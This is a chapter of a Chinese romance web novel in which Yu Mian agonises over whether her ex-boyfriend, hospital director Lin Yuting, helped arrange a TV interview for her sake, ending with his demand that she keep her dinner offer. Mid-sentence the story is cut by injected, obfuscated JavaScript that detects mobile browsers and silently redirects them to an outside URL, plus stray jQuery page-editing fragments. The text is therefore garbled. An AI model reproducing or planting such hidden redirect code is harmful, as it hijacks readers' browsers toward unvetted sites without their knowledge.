大巴车摇摇晃晃地驶出百岭镇,焦黄色的车帘被卷到一边,虞眠望着连绵起伏的山脉轮廓,感到匪夷所思,任凭她如何想都想不通,蔺煜庭竟然会同意?
不对不对,肯定不是因为她,经过上次那件事她就该知道,百分之九十九的不可能。
可还有百分之一呢?
内心的两个小人儿在来回拉扯,一个说怎么不可能,你好歹是人家前女友,男人事业有成,在前任面前显摆一下,有什么奇怪的吗?毕竟也有过感情,没那么容易当成陌生人。
另一个嘲讽道,可别自作多情了,别忘了人家跟现任感情好得很,就你自个儿内心戏一大堆,你看人家见面的时候对你什么态度了吗?
周围人都在休息,虞眠想了一会儿还是睁开眼,拿起手机在屏幕上敲字。
【yooo:茹仪姐,嘉济那边联系你们的人是谁?】
【方茹仪:具体情况我也不了解,我们电视台只是给对方发了邮件,不过迟迟没有回复,直到昨天下午,嘉济宣传部的人给领导打电话,说蔺院那边只有下下个周二有空,问我们这时间合不合适,态度特别好,给我们领导高兴得在群里通知了好几遍,打字都打错了。】
虞眠把视线转向车窗外,高速公路边上只有低矮的树木,旁边有辆车过去,光一闪而过,她在玻璃上看到自己迷茫的眼睛。
她忽然想直接问蔺煜庭,却不知道如何开口。
你答应采访,是不是因为我?
这也太自恋了。
但虞眠没法不这样想,蔺煜庭那性子她根本摸不透,自己又不是心安理得欠人心情的性格,思来想去,还是决定试探一下。
【yooo:采访的事,谢谢你。】
车驶过密云大桥时,手机嗡嗡了一下,虞眠右手的神经直跳,就快要冲到脑门,心头掠过一点难以言喻的情绪,他会回什么?
跟你没关系,还是你想太多了?
又或者,被他女友看到,他急急地表忠心解释?
虞眠看着屏幕上“你收到一条消息”那行字,一下子有些不敢解锁。如果是他女友看到,那她确实有必要解释一下。
可怎么解释,解释自己只是前女友?好像越解释才越乱,人家还觉得自己在挑衅呢。
之前冯凇蓝跟她吐槽过,说从小一起长大的发小谈恋爱之后,她给他发个日常,他女朋友都会生气,连发三条语音骂她是汉子婊,冯凇蓝无语得怼了回去,说有没有可能,我跟你男朋友是一个性取向?
对方回她:大姐,聊骚被发现就假装自己是百合?真够可笑的。
冯凇蓝是真的只喜欢女生,而且她审美很单一,不喜欢同龄人,看上的全是三十多岁的姐姐,年龄差距起码在五岁以上,学校跟她关系好的都知道,艺术生都有些特立独行,没人拿她当异类。
她那会准备从相册里找几张和前任的照片,打码发过去,后来想想算了,懒得跟这种人自证。
从这事之后,冯凇蓝就明白了,原来这个世界真的有人把同性都当成假想敌。
冯凇蓝喝了口啤酒,跟虞眠掏心掏肺,说以后不管朋友是喜欢同性还是喜欢异性,只要有对象的,就得离人家远一点,省得像我这样,搞出这种幺蛾子,剪不断理还乱,吃了哑巴亏。
虞眠现在也有了这种感觉,明明什么都没干,但好像自己是个夹在中间的坏女人,而且冯凇蓝跟她还有本质上的区别,前者是真的坦坦荡荡,不喜欢发小。
可她不是,她对蔺煜庭还是有感情的,所以这时候格外心虚,一点风吹草动都紧张得不行。
好像电影里都是这么演的,男女主在一起之后,总有个女配出来搞事情,虞眠怔忪地想,自己不会就是那个女配吧?
伸头一刀,缩头也是一刀,虞眠酝酿出点勇气,举起手机面部解锁,再低头一看,对方回了一个标点符号。
【蔺院:?】
虞眠看到这个问号就来气,就跟被人拿着灯泡往她头上砸了一下似的,砸得她一激灵,忽然就清醒过来,灯泡却缺了一块,孤零零杵在那里,真是让人难堪至极。
她突然就不想回复了,心中郁结,把手机揣回兜里,气息都变重了些。
顾何跟来的时候一样,坐在她旁边,这时察觉她到的动静,在一片暗紫光线下侧过头看她,“怎么了?”
“没什么。”
顾何听着她语气,分明就带着气鼓鼓的委屈,就差没叉腰跺脚了,觉得她很可爱,就这样还说没什么,他想笑又忍住了,很有分寸地没有追问,拉下帽檐继续睡觉。
不料虞眠突然问他:“你有前女友吗?”
顾何十分意外,身子往上直了直,脑子清醒了不少,“有啊。”
“那你跟她,”虞眠决定加个字,“跟她们,是怎么分开的?”
“嗯……你这真是送命题了,”顾何摸摸后颈,无奈地笑,“我都不知道该怎么回答……初恋在大学,那时候挺爱打游戏的,总是忽视她,她给我发消息,我回得不及时,久而久之对方就生气了,跟我提分手。”
“第二个是考研的时候认识的,我来了京市,她一志愿没考上,调剂去了其他城市,研一的时候两个人都太忙,没什么话题聊,就和平分手了。”
“哪段你记忆比较深刻?”
“前任吧,初恋跟小孩子过家家一样,都不太熟。”
“那如果再见面,你已经有了女朋友,见到前任会是什么态度?”
“正常态度,不会有什么太大情绪,毕竟已经分手了。”
“那……要是她有件事需要你帮忙,是那种举手之劳但你平时不愿意做的小事,你会帮她吗?”
顾何想了想,“会,这个没什么好隐藏的,毕竟在一起过,能帮忙的话我没必要吝啬。如果我不帮忙,说不定就没人帮她了,女生在社会上挺不容易的,信手拈来的小事,能帮也就帮了。不过我会跟女朋友说一下,征求她的意见。”
窗外是倒流的风景,虞眠眼眸清透,思考着顾何的话,觉得很有道理。
蔺煜庭毕竟喜欢过她,不可能真的把她当陌生人,郑茹仪的事她虽然没有亲口跟他提,但王总监肯定会上报,她想过他总有一天会知道。
大概是仅有的那点旧情,也是男人骨子里的怜香惜玉,这点小忙,他顺手的事儿。他只回了一个问号估计也是怕女友误会,不想再跟她有什么牵扯。
“我这话肯定不是满分答案,但确实是真心话。”顾何说。
“你还挺诚实的。”虞眠调侃他,“我以为你会说‘不可能再帮忙了,理都不会理’这种话。”
顾何只是笑,“这种事没必要撒谎,大部分男人这样想的。”
这一次外出考察,虞眠对顾何印象好了不少,以前感觉对方就是一个普通同学,很善谈,人缘不错但不熟,现在觉得这人挺真诚的。
到了学校,虞眠还在犹豫要怎么感谢蔺煜庭。
请客吃饭太暧昧,要不转账呢?她那点小钱还在蔺煜庭面前显摆,怪不好意思的。
可那怎么办,总不能让这事就这样过去,好像她虞眠不会做人一样,人家帮了忙,她倒好,无动于衷。
她把行李箱里的东西全部拿出来,一一放回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318548|197274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原位,握着那瓶隐形眼镜护理液往抽屉拐角挪时,方茹仪送来了解决方案。
她给虞眠发消息,问她周四晚上有没有时间,想请她和蔺院长一起吃个饭。
虞眠心里的石头放下来了,这样最好,不需要她单独跟蔺煜庭会面,而且她很了解蔺煜庭,这样的邀请他不可能答应。
于是她松懈下来,将行李箱收拾起来,扫地、拖地,还把谈锦晒在外面的被褥抖了抖,抱回房间,等所有琐事都干完,才慢悠悠在对话框编辑文字:
【yooo:改天我跟电视台的人一起请您吃饭,您有时间吗?】
对方发来三个字:【再说吧】
虞眠喜上眉梢,她就知道蔺煜庭不乐意,她矫揉造作地发了一个表达遗憾的表情包,把手机往那一丢,哼着小曲洗澡去了。
温水流淌下来,整个世界像是蒙在一片雾里,虞眠挤了几泵沐浴露,有泡泡在空气中飘飘落落,又消失得无影无踪。
往事如潮水顺着她的身体蔓延。
蔺煜庭真是变了。
以前他在英国读书,她管不到他,不清楚他身边有没有什么莺莺燕燕,但至少朋友圈壁纸、手机锁屏全是她,每天问这问那,不是发“吃了吗”就是“醒了吗”,一到学校放假就往她这跑。
看她看得紧,同宿舍的女生还开玩笑,人家男朋友出国读书,女生都特别没安全感,怕男友在异国他乡移情别恋,你这刚好反过来了,男朋友跟查岗似的,每天都要跟你打视频电话,好像一天看不到你,你就要跟其他男的跑了一样。
虞眠心里甜滋滋的,确实如此,蔺煜庭虽然是她追来的,但相处之后,行动上反而是他更主动。
现在呢,他跟现任在一起,连朋友圈都干干净净,不知道的人还以为他是单身呢,果然时过境迁,人也会变。
-
蔺煜庭跟一位丹麦医生远程沟通了一项特殊病例,又去找自家员工了解一下最近医院的回访情况,开完院内的管理会议,一群人起身离开会议室,蔺煜庭忽然又想起了虞眠的那条消息。
已经过去四天,他想,晾也晾够了。
聊天记录翻出来看了一遍,随后他拨通了虞眠的号码,准确的说,是她回到京市读书办的新号码,分手之后她连手机号都换了,新手机号他还是在装置项目组提交上来的人员信息里看到的。
“喂?”估计是刚下课,虞眠音色娇憨了几分,很轻快地扬了一个尾音,那边环境音乱糟糟的,应该是在食堂。
蔺煜庭声音敛沉:“虞眠。”
“蔺院长?”她似乎很震惊,顿了顿,又问道:“您有什么指示吗?”
蔺煜庭听着她夸张的语气,气不打一处来:“不是你说要请我吃饭吗?”
话筒那头一时没了声,蔺煜庭点了根烟,靡靡地吐着烟圈,很有耐心地等着。
大概过了半分钟,虞眠尴尬地开口,“好像是有这么回事……可您不是不喜欢这种社交吗?”
“你很了解我?”
“没有没有。”虞眠干笑。
那边有人在问她,虞眠,你的奶茶要加椰果对吧?我给你带一杯。
是个男人,但这次不是舒季青。
蔺煜庭太阳穴突突地跳,听到虞眠说嗲嗲地说对呀,又拿起手机跟他说话:
“我正在食堂吃饭呢,这样,待会儿我跟电视台的表姐约个时间,再跟您说,怎么样?”
蔺煜庭手指夹着烟身,敲了两下烟灰缸,语气是不容置喙的强势:“周六下午七点,我只有这个时间是空档。”
说完,他掐断这通电话。